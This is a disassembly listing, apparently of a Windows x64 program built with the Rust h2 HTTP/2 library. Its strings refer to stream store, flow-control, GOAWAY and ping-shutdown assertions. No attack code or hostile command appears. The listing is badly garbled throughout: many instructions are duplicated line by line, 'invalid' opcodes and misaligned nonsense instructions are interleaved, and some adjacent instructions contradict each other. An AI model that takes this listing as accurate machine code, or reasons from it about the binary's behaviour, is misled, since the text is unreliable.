cmp eax, 0x3b9aca00
setne r8b
lea rdx, [rsp + 0x3b0]
add byte [rcx + rcx*4 - 0xf], cl
add byte [rcx + rcx*4 - 0xf], cl
call fcn.14001fde0
cmp byte [rsp + 0x58], 0
jl case.0x1400978a6.65
pop rax
add byte [rbp + 0x13], dh
jl case.0x1400978a6.65
pop rax
add byte [rbp + 0x13], dh
mov rax, qword [0x14017d2a8]
shl rax, 1
or eax, 0xe0d14800
test rax, rax
jne 0x1400a7f4d
invalid
add byte [rax], al
invalid
xor eax, eax
mov rcx, qword [rsp + 0x60]
xchg byte [rcx], al
cmp al, 2
mov r14d, dword [rsp + 0x40]
je 0x1400a7098
jne 0x1400a78fe
je 0x1400a7098
jne 0x1400a78fe
mov word [rax - 0x76ffffed], es
xchg edi, eax
mov al, 0
add byte [rax], al
mov dword [rdi + 0xb0], edx
mov edx, dword [rdi + 0xb4]
sub edx, r13d
jno 0x1400a7a2c
invalid
jg 0x1400a70b4
add byte [rax], al
cmp dword [rdi + 9], 0x31450000
test bh, 0x44
and al, 0x58
add eax, dword [rax]
add byte [rax], al
xor r14d, r14d
mov dword [rsp + 0x58], 3
jmp case.0x140073b82.215
mov rax, qword [rdi + 0x188]
shl rax, 1
test rax, rax
je 0x1400a70e2
mov r8, qword [rdi + 0x190]
mov rcx, qword [0x14017d208]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
mov rax, qword [rsp + 0x130]
mov qword [rsi + 0x20], rax
movzx eax, word [rsp + 0x110]
movzx ecx, word [rsp + 0x112]
mov edx, dword [rsp + 0x114]
mov r8, qword [rsp + 0x118]
movdqa xmm0, xmmword [rsp + 0x120]
movdqu xmmword [rsi + 0x10], xmm0
movq qword [rsi + 0x10], mm0
movq qword [rsi + 0x10], mm0
mov word [rsi], ax
mov word [rsi + 2], cx
mov dword [rsi + 4], edx
mov qword [rsi + 8], r8
cmp byte [rsp + 0x24c], 0
add r8b, byte [rax]
add byte [rax], al
add r8b, byte [rax]
add byte [rax], al
jne 0x1400a7146
mov rax, qword [0x14017d2a8]
shl rax, 1
test rax, rax
jne 0x1400a7c69
and ecx, dword [rbx]
add byte [rax], al
invalid
and ecx, dword [rbx]
add byte [rax], al
xor eax, eax
xchg byte [r14], al
mov bl, 3
add edi, dword [rdx + rax]
add edi, dword [rdx + rax]
mov rsi, qword [rsp + 0x70]
je 0x1400a5e32
jmp 0x1400a5e3b
cmp byte [rax + 0x51], 0
jne case.0x1400a6559.249
jmp case.0x1400a6559.250
cmp byte [rax + 0x52], 0
je case.0x1400a6559.250
test byte [rsp + 0x22c], 1
jne 0x1400a71c4
lea rcx, [rsp + 0xb0]
call fcn.140020430
mov eax, dword [rax + 0x114]
mov word [rsp + 0xe8], 0x100
mov dword [rsp + 0xec], eax
mov dword [rsp + 0xf0], 1
add byte [rcx], al
add byte [rax], al
add byte [rax - 0x73], cl
mov word [rax + rdx], fs
add dword [rax], eax
add al, ch
xchg byte [rsi], cl
invalid
dec dword [rbx + rcx*4 + 0x6c]
and al, 0x48
jmp 0x1400a7830
add byte [rcx], al
add byte [rax], al
add byte [rax - 0x73], cl
mov word [rax + rdx], fs
add dword [rax], eax
add al, ch
xchg byte [rsi], cl
invalid
mov rsi, qword [rsp + 0x78]
lea r13, [rsp + 0x3c0]
lea rdx, [rsp + 0x110]
mov r8d, 0x120
mov rcx, r13
call sub.VCRUNTIME140.dll_memcpy
lea rcx, [rsp + 0x80]
lea r9, [rsp + 0xb0]
mov rdx, rsi
mov r8, r13
call fcn.140024c40
jmp 0x1400a77f7
mov r8, qword [rsp + 0x280]
cmp r8, 2
je 0x1400a7c86
lea rdx, [rsp + 0x298]
mov rcx, qword [rsp + 0x288]
mov rax, qword [rsp + 0x290]
test r8, r8
je 0x1400a7248
mov r8, qword [rax + 0x10]
dec r8
and r8, 0xfffffffffffffff0
add rcx, r8
add rcx, 0x10
call qword [rax + 0x68]
mov r8, qword [rsp + 0x280]
cmp r8, 2
je 0x1400a7c86
mov rdx, qword [rsp + 0x298]
mov rcx, qword [rsp + 0x288]
mov rax, qword [rsp + 0x290]
test r8, r8
je 0x1400a7c80
mov r8, qword [rax + 0x10]
dec r8
and r8, 0xfffffffffffffff0
add rcx, r8
add rcx, 0x10
call qword [rax + 0x80]
mov rax, qword [rsp + 0x288]
lock dec qword [rax]
je 0x1400a76a9
jmp 0x1400a7c86
mov rcx, rdi
call fcn.14010c7c0
mov rdx, rsi
mov rax, qword [0x14017d2a8]
shl rax, 1
test rax, rax
je case.0x140096763.71
call fcn.14010c880
mov rdx, rsi
mov ebx, eax
xor bl, 1
mov qword [rsp + 0x48], r13
movzx eax, byte [rdi + 1]
test al, al
je 0x1400a5965
mov qword [rsp + 0x110], rdi
mov byte [rsp + 0x118], bl
pushfq
and al, 0x18
add dword [rax], eax
add byte [rax - 0x73], cl
add eax, 0x93d39
pushfq
and al, 0x18
add dword [rax], eax
add byte [rax - 0x73], cl
add eax, 0x93d39
jmp 0x1400a74b8
mov rcx, rdi
call fcn.14010c7c0
mov rdx, rsi
mov rax, qword [0x14017d2a8]
shl rax, 1
test rax, rax
je 0x1400a59de
call fcn.14010c880
mov rdx, rsi
mov ebx, eax
xor bl, 1
movzx eax, byte [rdi + 1]
mov dh, 0x47
add dword [rax + rax*8 - 0x194e7bf1], eax
invalid
invalid
mov dh, 0x47
add dword [rax + rax*8 - 0x194e7bf1], eax
invalid
mov qword [rsp + 0x110], rdi
mov dword [rsp + 0x110], edi
mov byte [rsp + 0x118], bl
lea rax, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_srcproto_streams_streams.rs
jmp 0x1400a74b8
mov rcx, rdi
mov rsi, rdx
call fcn.14010c7c0
mov rdx, rsi
mov rax, qword [0x14017d2a8]
shl rax, 1
test rax, rax
je 0x1400a5a7f
mov rsi, rdx
call fcn.14010c880
mov rdx, rsi
mov esi, eax
xor sil, 1
movzx eax, byte [rdi + 1]
test al, al
je 0x1400a5a8d
mov qword [rsp + 0x110], rdi
mov byte [rsp + 0x118], sil
lea rax, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_srcproto_streams_streams.rs
cmp al, 9
add cl, ch
or byte [rcx], al
add byte [rax], al
cmp al, 9
add cl, ch
or byte [rcx], al
add byte [rax], al
mov rcx, rdi
mov rsi, rdx
call fcn.14010c7c0
push rsp
invalid
add byte [rax - 0x77], cl
mov rax, qword [0x14017d2a8]
shl rax, 1
test rax, rax
je 0x1400a5661
push rsp
invalid
mov rsi, rdx
call fcn.14010c880
mov rdx, rsi
mov r14d, eax
xor r14b, 1
movzx eax, byte [rdi + 1]
test al, al
je 0x1400a5670
mov qword [rsp + 0x110], rdi
mov byte [rsp + 0x118], r14b
lea rax, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_srcproto_streams_streams.rs
jmp 0x1400a74b8
mov dh, 0x47
add dword [rax + rax*8 - 0x16977bf1], eax
invalid
mov qword [rsp + 0x110], rdi
mov byte [rsp + 0x118], bpl
mov byte [rsp + 0x118], ch
mov byte [rsp + 0x118], ch
lea rax, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_srcproto_streams_streams.rs
jmp 0x1400a74b8
mov rcx, rdi
mov rsi, rdx
mov esi, edx
mov esi, edx
call fcn.14010c7c0
mov rdx, rsi
mov rax, qword [0x14017d2a8]
shl rax, 1
test rax, rax
je 0x1400a5f11
mov rsi, rdx
call fcn.14010c880
mov rdx, rsi
mov r14d, eax
xor r14b, 1
movzx eax, byte [rdi + 1]
test al, al
je 0x1400a5f20
mov qword [rsp + 0x110], rdi
mov byte [rsp + 0x118], r14b
lea rax, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_srcproto_streams_streams.rs
mov qword [rsp + 0x20], rax
lea rcx, str.called__Result::unwrap____on_an__Err__value
lea r9, [0x14013bad8]
or eax, 0x9460d
or eax, 0x9460d
lea r8, [rsp + 0x110]
mov edx, 0x2b
call fcn.1401049b0
mov rcx, r14
mov ecx, esi
call fcn.14010c7c0
mov rax, qword [0x14017d2a8]
shl rax, 1
test rax, rax
je 0x1400a5ab3
call fcn.14010c880
xor al, 1
mov qword [rsp + 0x48], r13
movzx ecx, byte [r14 + 1]
test cl, cl
je 0x1400a5ac7
mov qword [rsp + 0x110], r14
mov byte [rsp + 0x118], al
lea rax, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_srcproto_streams_streams.rs
add cl, ch
invalid
invalid
add byte [rax], al
add cl, ch
xor eax, 0x4c00000e
mov ecx, esi
mov rcx, r14
mov rsi, rdx
call fcn.14010c7c0
mov rdx, rsi
mov rax, qword [0x14017d2a8]
shl rax, 1
test rax, rax
ror byte [rdi], 0x84
mov ch, al
invalid
invalid
ror byte [rdi], 0x84
mov ch, al
invalid
mov rsi, rdx
call fcn.14010c880
mov rdx, rsi
xor al, 1
mov qword [rsp + 0x70], rdx
movzx ecx, byte [r14 + 1]
test cl, cl
je 0x1400a5deb
mov qword [rsp + 0x110], r14
mov byte [rsp + 0x118], al
lea rax, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_srcproto_streams_streams.rs
jmp 0x1400a8361
cmp dword [rdi + 0x90], 0
jne 0x1400a759a
mov eax, 0x2c
cmp dword [rdx + rax], ebp
jbe 0x1400a75e2
mov r8, qword [rsp + 0x540]
test r8, 0xffffffff80000000
jne 0x1400a84d9
lea rcx, [rsp + 0x110]
call fcn.140025290
movzx ebx, byte [rsp + 0x110]
cmp bl, 3
jne 0x1400a76c3
mov eax, 5
mov qword [rsp + 0x40], rax
xor ebx, ebx
mov dword [rsp + 0x58], ebp
jmp 0x1400a7704
mov dword [rsp + 0x58], 1
add dword [rax], eax
add byte [rax], al
mov qword [rsp + 0x40], rcx
xor r15d, r15d
xor r12d, r12d
mov bl, 1
jmp 0x1400a7704
mov r8, qword [rsp + 0x280]
cmp r8, 2
mov eax, dword [rsp + 0x40]
and al, 0x40
je 0x1400a5b30
lea rdx, [rsp + 0x298]
mov rcx, qword [rsp + 0x288]
mov rax, qword [rsp + 0x290]
test r8, r8
je 0x1400a7641
mov r8, qword [rax + 0x10]
dec r8
and r8, 0xfffffffffffffff0
add rcx, r8
add rcx, 0x10
call qword [rax + 0x68]
mov r8, qword [rsp + 0x280]
cmp r8, 2
mov eax, dword [rsp + 0x40]
je 0x1400a5b30
mov rdx, qword [rsp + 0x298]
mov rcx, qword [rsp + 0x288]
mov rax, qword [rsp + 0x290]
test r8, r8
je 0x1400a7c80
mov r8, qword [rax + 0x10]
dec r8
and r8, 0xfffffffffffffff0
add rcx, r8
add rcx, 0x10
call qword [rax + 0x80]
mov rax, qword [rsp + 0x288]
lock dec qword [rax]
mov eax, dword [rsp + 0x40]
jne 0x1400a5b30
mov rcx, qword [rsp + 0x288]
mov rdx, qword [rsp + 0x290]
call fcn.1400049d0
jmp 0x1400a7c86
movzx r14d, byte [rsp + 0x111]
movzx ebp, word [rsp + 0x112]
mov eax, dword [rsp + 0x114]
mov dword [rsp + 0x58], eax
mov rax, qword [rsp + 0x118]
mov qword [rsp + 0x40], rax
mov rsi, qword [rsp + 0x120]
mov r15, qword [rsp + 0x128]
mov r12, qword [rsp + 0x130]
movsb byte [rdi], byte [rsi]
and al, 0x30
add dword [rax], eax
add byte [rax - 0x73], cl
mov word [rax + rcx*2], fs
add eax, 0x8b480000
test byte [rax + rsi], ah
add eax, 0x8b480000
xchg esp, eax
and al, 0x38
add eax, 0x8b4c0000
test byte [rax + rax*2], ah
add eax, 0x50ff0000
adc byte [rax + 0x60247c], al
lea rcx, [rsp + 0x548]
mov rax, qword [rsp + 0x530]
mov rdx, qword [rsp + 0x538]
mov r8, qword [rsp + 0x540]
call qword [rax + 0x10]
cmp byte [rsp + 0x60], 0
jne 0x1400a7741
mov rax, qword [0x14017d2a8]
shl rax, 1
test rax, rax
jne 0x1400a7ab1
xor eax, eax
xchg byte [rdi], al
cmp al, 2
jne 0x1400a7752
mov rcx, rdi
call qword [sym.imp.api_ms_win_core_synch_l1_2_0.dll_WakeByAddressSingle]
cmp bl, 3
je case.0x1400a5610.2
and al, 0x40
mov qword [r13 + 0x10], rax
mov qword [r13 + 0x18], rsi
mov qword [r13 + 0x20], r15
mov qword [r13 + 0x28], r12
mov dword [rbp + 0x28], esp
mov dword [rbp + 0x28], esp
mov dword [r13], 1
jmp 0x1400a7940
mov rax, qword [rsp + 0x558]
mov qword [rsp + 0xa0], rax
movdqu xmm0, xmmword [rsp + 0x538]
movdqu xmm1, xmmword [rsp + 0x548]
movdqa xmmword [rsp + 0x90], xmm1
movdqa xmmword [rsp + 0x80], xmm0
add byte [rax], 0
add bl, ch
invalid
add byte [rax], 0
add bl, ch
xor al, 0x48
lea ecx, [rsp + 0xb0]
lea rcx, [rsp + 0xb0]
call fcn.140020430
mov eax, dword [rax + 0x114]
mov word [rsp + 0x80], 0x100
mov dword [rsp + 0x84], eax
mov dword [rsp + 0x88], 7
invalid
mov r13, qword [rsp + 0x48]
mov rdx, qword [rsp + 0x78]
push rsp
and al, 0x78
mov r8, qword [rsp + 0xe0]
lea rax, [rsp + 0x80]
add byte [rax], al
add byte [rax - 0x77], cl
and al, 0x28
add byte [rax], al
add byte [rax - 0x77], cl
and al, 0x28
mov qword [rsp + 0x20], r15
lea rcx, [rsp + 0xe8]
lea r9, [rsp + 0xb0]
call fcn.1400a8500
cmp ebp, 0x3b9aca00
setne r8b
lea rdx, [rsp + 0xb0]
mov rcx, r15
call fcn.14001fde0
test r12b, r12b
jne case.0x1400978a6.54
add dl, cl
invalid
mov rax, qword [0x14017d2a8]
shl rax, 1
push rdx
pop rdx
or eax, 0xe0d14800
test rax, rax
jne 0x1400a7d88
xor eax, eax
xchg byte [r14], al
cmp al, 2
jne 0x1400a7874
mov rcx, r14
call qword [sym.imp.api_ms_win_core_synch_l1_2_0.dll_WakeByAddressSingle]
test bl, bl
jne 0x1400a788b
invalid
mov bpl, 3
mov sil, 1
test r14b, r14b
jne 0x1400a7916
mov rax, qword [0x14017d2a8]
shl rax, 1
test rax, rax
jne 0x1400a7a85
outsd dx, dword [rsi]
add dword [rax], eax
invalid
outsd dx, dword [rsi]
add dword [rax], eax
add byte [rcx], dh
rol byte [rsi + 0x75023c07], 9
xor eax, eax
xchg byte [rdi], al
cmp al, 2
jne 0x1400a7927
mov rcx, rdi
call qword [sym.imp.api_ms_win_core_synch_l1_2_0.dll_WakeByAddressSingle]
cmp bpl, 3
jne 0x1400a795c
movabs rax, 0x200000000
mov qword [r13], rax
movaps xmm6, xmmword [rsp + 0x7a0]
add rsp, 0x7b8
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
movdqu xmmword [rax + 0x20], xmm0
mov dword [rax], 1
jmp 0x1400a7940
pxor xmm0, xmm0
movdqa xmmword [rsp + 0x80], xmm0
mov bl, 1
mov ebp, 1
lea r14, [0x14016f768]
lea rsi, [0x1401127a0]
mov r13b, 1
jmp 0x1400a6d91
movzx ebx, byte [rsp + 0x111]
movzx r15d, word [rsp + 0x112]
mov ebp, dword [rsp + 0x114]
mov rsi, qword [rsp + 0x118]
mov r14, qword [rsp + 0x120]
movdqu xmm0, xmmword [rsp + 0x128]
jmp 0x1400a6d88
mov dword [rdi + 0xb4], edx
add dword [rdi + 0xf8], r13d
mov edx, dword [rcx + 0xa0]
xor ebx, ebx
test edx, edx
cmovle edx, ebx
mov r14b, 1
cmp edx, r13d
jae 0x1400a7a61
mov eax, 3
mov qword [rsp + 0x40], rax
mov dword [rsp + 0x58], esi
jmp case.0x140073b82.215
mov rdx, qword [rcx + 0x30]
test rdx, rdx
je 0x1400a7dbf
cmp edx, 1
jne 0x1400a7c8f
test r13, r13
jne 0x1400a7c9c
jmp 0x1400a7dbf
call fcn.14010c880
test al, al
jne 0x1400a7916
mov byte [rdi + 1], 1
jmp 0x1400a7916
call fcn.14010c880
test al, al
jne 0x1400a7741
call fcn.14010c880
test al, al
jne 0x1400a5b7d
mov byte [rdi + 1], 1
jmp 0x1400a5b7d
call fcn.14010c880
test al, al
jne 0x1400a5e53
mov rcx, r14
call fcn.14010c7c0
mov rax, qword [0x14017d2a8]
shl rax, 1
test rax, rax
je 0x1400a649f
call fcn.14010c880
mov r12d, eax
xor r12b, 1
movzx eax, byte [r14 + 1]
test al, al
je 0x1400a64af
mov qword [rsp + 0x110], r14
mov byte [rsp + 0x118], r12b
lea rax, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_srcproto_streams_streams.rs
jmp 0x1400a8361
call fcn.14010c880
test al, al
jne case.0x1400937fa.106
mov byte [r12 + 1], 1
jmp case.0x1400937fa.106
mov rcx, qword [rsp + 0x60]
call fcn.14010c7c0
mov rcx, qword [rsp + 0x60]
mov rax, qword [0x14017d2a8]
shl rax, 1
test rax, rax
je 0x1400a6b9b
call fcn.14010c880
mov rcx, qword [rsp + 0x60]
mov esi, eax
xor sil, 1
mov dword [rsp + 0x40], r14d
movzx eax, byte [rcx + 1]
test al, al
je 0x1400a6bae
mov rax, qword [rsp + 0x60]
mov qword [rsp + 0x110], rax
mov byte [rsp + 0x118], sil
lea rax, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_srcproto_streams_streams.rs
jmp 0x1400a8361
call fcn.14010c880
test al, al
jne 0x1400a7146
mov byte [r14 + 1], 1
jmp 0x1400a7146
call qword [rax + 0x80]
mov eax, dword [rsp + 0x40]
jmp 0x1400a5b30
mov rax, qword [rcx + 0x38]
sub rax, r13
jae 0x1400a7db6
mov dword [rsp + 0x80], r15d
mov dword [rsp + 0x84], esi
cmp qword [r12 + 0x10], r15
jbe 0x1400a81c5
mov rax, qword [r12 + 8]
cmp dword [rax + rbp], 2
je 0x1400a81c5
add rax, rbp
cmp dword [rax + 0x114], esi
jne 0x1400a81c5
mov eax, 1
mov qword [rsp + 0x40], rax
xor ebx, ebx
mov dword [rsp + 0x58], esi
jmp case.0x140073b82.215
movzx ebx, byte [rsp + 0x3c1]
movzx r15d, word [rsp + 0x3c2]
mov ebp, dword [rsp + 0x3c4]
mov rsi, qword [rsp + 0x3c8]
mov r14, qword [rsp + 0x3d0]
movdqu xmm0, xmmword [rsp + 0x3d8]
movdqa xmmword [rsp + 0x80], xmm0
cmp byte [rsp + 0x60], 0
jne 0x1400a6db8
jmp 0x1400a6da5
mov rcx, rsi
call fcn.14010c7c0
mov rax, qword [0x14017d2a8]
shl rax, 1
test rax, rax
je 0x1400a5ca3
call fcn.14010c880
test al, al
jne case.0x1400978a6.54
mov byte [r14 + 1], 1
jmp case.0x1400978a6.54
mov qword [rcx + 0x38], rax
mov rax, qword [r12 + 0x10]
test byte [rsp + 0x3e4], 1
je 0x1400a7e7f
mov dword [rsp + 0x80], r15d
mov dword [rsp + 0x84], esi
cmp rax, r15
jbe 0x1400a81c5
mov rax, qword [r12 + 8]
cmp dword [rax + rbp], 2
je 0x1400a81c5
add rax, rbp
cmp dword [rax + 0x114], esi
jne 0x1400a81c5
cmp dword [rax + 0x30], 2
jne 0x1400a7e38
cmp qword [rax + 0x38], 0
je 0x1400a7e38
lea rcx, [rsp + 0xc0]
call fcn.140020430
mov eax, dword [rax + 0x114]
mov dword [rsp + 0x58], eax
mov eax, 1
mov qword [rsp + 0x40], rax
xor ebx, ebx
jmp case.0x140073b82.215
lea rcx, [rsp + 0xc0]
call fcn.1400230e0
lea rdx, [rax + 0x50]
lea r14, [rsp + 0x280]
mov rcx, r14
call fcn.140025070
movzx ebx, byte [rsp + 0x280]
mov rcx, r14
call fcn.140025240
cmp bl, 3
jne 0x1400a808a
mov rax, qword [r12 + 0x10]
lea r11, [rsp + 0x84]
mov dword [rsp + 0x80], r15d
mov dword [rsp + 0x84], esi
cmp rax, r15
jbe 0x1400a81c5
mov rax, qword [r12 + 8]
cmp dword [rax + rbp], 2
je 0x1400a81c5
add rax, rbp
cmp dword [rax + 0x114], esi
jne 0x1400a81c5
lea rsi, [rdi + 0x68]
cmp byte [rax + 0x128], 0
je 0x1400a7f02
lea rcx, [rsp + 0xc0]
call fcn.1400230e0
lea rcx, [rax + 0xa0]
mov edx, r13d
call fcn.1400211c0
test eax, eax
mov r12, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x68]
je 0x1400a8094
mov bl, 1
xor r14d, r14d
mov dword [rsp + 0x58], 3
jmp case.0x140073b82.213
mov qword [rsp + 0x280], 0
lea r8, [rsp + 0x280]
mov rcx, rsi
mov edx, r13d
call fcn.140025200
mov rax, qword [rsp + 0x280]
test rax, rax
mov r12, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x68]
je 0x1400a7f43
mov rcx, qword [rsp + 0x288]
call qword [rax + 0x18]
mov bl, 3
xor r14d, r14d
jmp case.0x140073b82.213
call fcn.14010c880
test al, al
jne 0x1400a7065
xor r14d, r14d
mov bl, 1
jmp case.0x140073b82.215
lea r15, [rsp + 0xc0]
mov rcx, r15
call fcn.1400230e0
add dword [rax + 0x11c], r13d
movdqa xmm0, xmmword [rsp + 0x3c0]
movdqa xmm1, xmmword [rsp + 0x3d0]
movdqu xmmword [rsp + 0x128], xmm1
movdqu xmmword [rsp + 0x118], xmm0
mov qword [rsp + 0x110], 4
and al, 0x10
add dword [rax], eax
add byte [rax + rax], al
add byte [rax], al
and al, 0x10
add dword [rax], eax
add byte [rax + rax], al
add byte [rax], al
mov rcx, r15
call fcn.1400230e0
lea rcx, [rax + 0x18]
lea r8, [rsp + 0x110]
mov rdx, rsi
call fcn.140023180
mov rcx, r15
call fcn.1400230e0
mov rdx, qword [rax + 0xa8]
mov rcx, qword [rax + 0xb0]
add byte [rax], al
add byte [rax], al
mov qword [rax + 0xa8], 0
test rdx, rdx
je 0x1400a8120
call qword [rdx + 8]
mov bl, 3
lea rsi, [0x14016f768]
xor r15d, r15d
mov r13, qword [rsp + 0x48]
jmp 0x1400a6f8e
lea rax, [rsp + 0x84]
mov qword [rsp + 0x530], rax
lea rax, [0x14001b1b0]
mov qword [rsp + 0x538], rax
lea rax, str.dangling_store_key_for_stream_id
mov qword [rsp + 0x110], rax
mov qword [rsp + 0x118], 1
mov qword [rsp + 0x130], 0
lea rax, [rsp + 0x530]
mov qword [rsp + 0x120], rax
mov qword [rsp + 0x128], 1
lea rdx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_srcproto_streams_store.rs
lea rcx, [rsp + 0x110]
call fcn.140104620
lea rcx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_srcproto_streams_store.rs
call fcn.140104a40
lea rax, [rsp + 0x654]
jmp 0x1400a82a9
mov qword [rsp + 0x650], r11
lea rax, [0x14001b1b0]
mov qword [rsp + 0x658], rax
lea rax, str.dangling_store_key_for_stream_id
mov qword [rsp + 0x280], rax
mov qword [rsp + 0x288], 1
mov qword [rsp + 0x2a0], 0
lea rax, [rsp + 0x650]
mov qword [rsp + 0x290], rax
mov qword [rsp + 0x298], 1
lea rdx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_srcproto_streams_store.rs
lea rcx, [rsp + 0x280]
call fcn.140104620
lea rax, [rsp + 0x654]
mov qword [rsp + 0x280], rax
lea rax, [0x14001b1b0]
mov qword [rsp + 0x288], rax
lea rax, str.dangling_store_key_for_stream_id
mov qword [rsp + 0x110], rax
mov qword [rsp + 0x118], 1
mov qword [rsp + 0x130], 0
mov qword [rsp + 0x120], rbx
mov qword [rsp + 0x128], 1
lea rdx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_srcproto_streams_store.rs
lea rcx, [rsp + 0x110]
add byte [rax], al
add byte [rax], al
call fcn.140104620
lea rax, [rsp + 0x534]
mov qword [rsp + 0x3c0], rax
lea rax, [0x14001b1b0]
mov qword [rsp + 0x3c8], rax
lea rax, str.dangling_store_key_for_stream_id
mov qword [rsp + 0x110], rax
mov qword [rsp + 0x118], 1
mov qword [rsp + 0x130], 0
lea rax, [rsp + 0x3c0]
jmp 0x1400a8184
lea rax, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_srcprotoconnection.rsmutex_poisoned
mov qword [rsp + 0x20], rax
lea rcx, [0x14013a92c]
lea r9, [0x14013ba78]
lea r8, [rsp + 0xe0]
mov edx, 0xe
call fcn.1401049b0
lea rcx, [0x140124ee0]
lea r8, [0x140124f10]
mov edx, 0x2d
call fcn.1401046f0
lea rax, [rsp + 0xec]
jmp 0x1400a813e
mov rax, qword [rsp + 0x50]
mov qword [rsp + 0x110], rax
mov byte [rsp + 0x118], r10b
lea rax, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_srcproto_streams_streams.rs
mov qword [rsp + 0x20], rax
lea rcx, str.called__Result::unwrap____on_an__Err__value
lea r9, [0x14013bb18]
lea r8, [rsp + 0x110]
mov edx, 0x2b
call fcn.1401049b0
lea rcx, str.assertion_failed:_sz___MAX_WINDOW_SIZE_as_usizeH
lea r8, [0x140125358]
mov edx, 0x30
call fcn.1401046f0
lea rax, str.pending_ping_should_be_for_shutdown
mov qword [rsp + 0x110], rax
mov qword [rsp + 0x118], 1
lea rax, [0x14016f768]
mov qword [rsp + 0x120], rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x128], xmm0
lea rcx, [rsp + 0x3c0]
lea rdx, [rsp + 0x110]
call fcn.140104d30
lea rcx, str.received_unexpected_shutdown_ping
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_srcprotoconnection.rsmutex_poisoned
mov edx, 0x21
call fcn.1401092e0
lea rcx, [0x14012537f]
lea r8, [0x1401253b8]
mov edx, 0x39
call fcn.1401046f0
lea rcx, [0x14012522e]
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_srcproto_streams_flow_control.rsassertion_failed:_self.window_size.0___sz_as_i32
mov edx, 0x31
call fcn.1401046f0
lea rcx, str.assertion_failed:_stream.state.is_closed__
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_srcproto_streams_streams.rs
mov edx, 0x2a
call fcn.1401046f0
add rbx, 0x2c
mov dword [rsp + 0x530], edi
mov qword [rsp + 0x280], rbx
lea rax, [0x14001b1b0]
mov qword [rsp + 0x288], rax
lea rcx, [rsp + 0x530]
mov qword [rsp + 0x290], rcx
mov qword [rsp + 0x298], rax
lea rax, str.GOAWAY_stream_IDs_shouldnt_be_higher__last_processed_id____f.last_stream_id___
mov qword [rsp + 0x110], rax
mov qword [rsp + 0x118], 2
mov qword [rsp + 0x130], 0
lea rax, [rsp + 0x280]
mov qword [rsp + 0x120], rax
mov qword [rsp + 0x128], 2
lea rdx, [0x140124e28]
lea rcx, [rsp + 0x110]
call fcn.140104620
lea rcx, [0x14013b33a]
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_srcproto_streams_streams.rs
mov edx, 0x37
call fcn.1401046f0
int3
sbb byte [r8], bl
add byte [rax], al
add byte [rax - 0x39], cl
and byte [r8], al
add byte [rax], al
add byte [rax - 0x7d], cl
invalid
int3
add byte [rcx + rcx*4 - 0x5c], al
and al, 0xa4
add dword [rax], eax
add byte [rcx + 0x39], cl
jle 0x1400a861b
jbe 0x1400a8d36
mov rsi, qword [r14 + 8]
imul rbp, rdi, 0x130
cmp dword [rsi + rbp], 2
je 0x1400a8d36
add byte [rbx + 0xf022e3c], al
test byte [rax], dl
invalid
add rsi, rbp
cmp dword [rsi + 0x114], r12d
jne 0x1400a8d36
mov r15, r9
mov rbx, rcx
mov r13d, dword [rsi + 0x48]
mov rax, qword [r9 + 0x120]
mov qword [rsp + 0xa8], rax
mov rax, qword [rax]
mov qword [rsp + 0xa0], rax
lea rcx, [rsp + 0x2e8]
mov r8d, 0x120
mov rdx, r9
call sub.VCRUNTIME140.dll_memcpy
mov dword [rsp + 0x80], edi
mov dword [rsp + 0x84], r12d
cmp dword [rsi], 2
je 0x1400a8dac
cmp dword [rsi + 0x114], r12d
jne 0x1400a8dac
mov byte [rsp + 0x43], 1
cmp byte [rsi + 0x50], 6
mov dword [rsp + 0x4c], r13d
jne 0x1400a86cc
mov byte [rsi + 0x50], 8
cmp byte [rsp + 0x3f0], 0
mov esi, dword [rsp + 0x3fc]
mov dword [rsp + 0x48], esi
je 0x1400a87d1
xor esi, esi
mov r13d, 7
jmp 0x1400a86de
mov dword [rsp + 0x48], 1
lea r13, [0x1401127a0]
mov sil, 1
lea rcx, [rsp + 0x2e8]
call fcn.1400524f0
lea rcx, [rsp + 0x348]
call fcn.14001b280
lea r9, [0x14016f768]
xor r10d, r10d
xor r11d, r11d
mov r14, qword [rsp + 0x78]
mov rbp, qword [rsp + 0x70]
mov rax, qword [r15 + 0x128]
mov r15, qword [rax]
mov cl, 1
xor eax, eax
lock cmpxchg byte [r15], cl
jne 0x1400a8be8
mov rax, qword [0x14017d2a8]
shl rax, 1
test rax, rax
movzx r8d, byte [rsp + 0x43]
jne 0x1400a8c15
xor r12d, r12d
movzx eax, byte [r15 + 1]
test al, al
jne 0x1400a8c59
test sil, sil
je 0x1400a8786
mov byte [rbx], sil
mov byte [rbx + 1], r8b
mov word [rbx + 2], dx
mov eax, dword [rsp + 0x48]
mov dword [rbx + 4], eax
mov qword [rbx + 8], r13
mov qword [rbx + 0x10], r9
